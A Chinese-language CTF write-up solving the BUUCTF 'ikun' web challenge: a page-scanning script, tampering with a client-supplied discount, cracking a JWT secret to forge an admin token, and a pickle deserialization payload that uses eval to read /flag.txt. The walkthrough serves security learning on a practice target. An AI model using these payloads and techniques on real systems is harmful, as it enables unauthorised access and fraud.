[BUUCTF题解][CISCN2019 华北赛区 Day1 Web2]ikun
### 写在前面
写的时候环境过期了只好又开了个,所以师傅们可以发现某些图片URL并不相同。
知识点
- picke反序列化
- JWT破解
过程
收集(检查HTTP报文+查看初始页面HTML代码),但是妹有扫目录(因为自己写的烂扫描的字典基本上是PHP的目录,python的没整)。
再HTML源码可以看到一些出题人留下的提示,但目前没什么用(其实到最后好像都没意识到那些是提示)。
页面中明示了当前阶段的目标——买一个lv6账号,那就先找到lv6账号所在页面。查看账号中等级图标对应img标签可以看到其路径标明了账户等级,而不同页面的账户通过GET传参page显示。
接下来就是写脚本遍历抓取关键字的时候了,在第181页找到。
脚本如下:
import requests as res
url="http://2a7c8748-64f5-4a55-8efc-d3a41a2b3750.node4.buuoj.cn:81/shop"
for i in range(1,256):
print(str("#{} =>").format(i),end='')
resp=res.get(url,params={"page":i})
if(resp.text.find("lv6.png")!=-1):
print(resp.text)
break
else:
print("")
访问对应页面去购买(中间跳转去注册账号才记起来没注册账号),但显然这个价格太贵了买不了。
但是抓包可以注意到价格和折扣这两个参数是我们传递过去而不是在服务端内置好的,所以尝试对其修改,测试后发现可以对折扣参数修改,购买成功跳转到下一阶段页面。
提示只允许admin用户访问,但是我们留一下Cookie就会发现其中存在JWT这一键值对。
既然身份验证采用的是JWT(下图中解析JWT的网址为 JSON Web Tokens - jwt.io ),所以可以尝试采用脚本(如图可见脚本采用的是c-jwt-cracker-master这个项目)爆破出密匙为 1kun 。
接着构造为admin用户再去访问就好了
直接点击那个成为大会员的按钮并没有什么用,但在该页面对应HTML源码中可以找到一个源码压缩包作为提示。
在其中的Admin.py可以看到引入了picke模块对/b1g_m4mber页面传入的参数become进行反序列化。
接下来就需要构造反序列化脚本来生成payload(注意本题环境是python2,脚本需要python2编写,并且环境似乎并不出网)。
脚本对应源码为:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)
之后填充到become参数就能看到flag。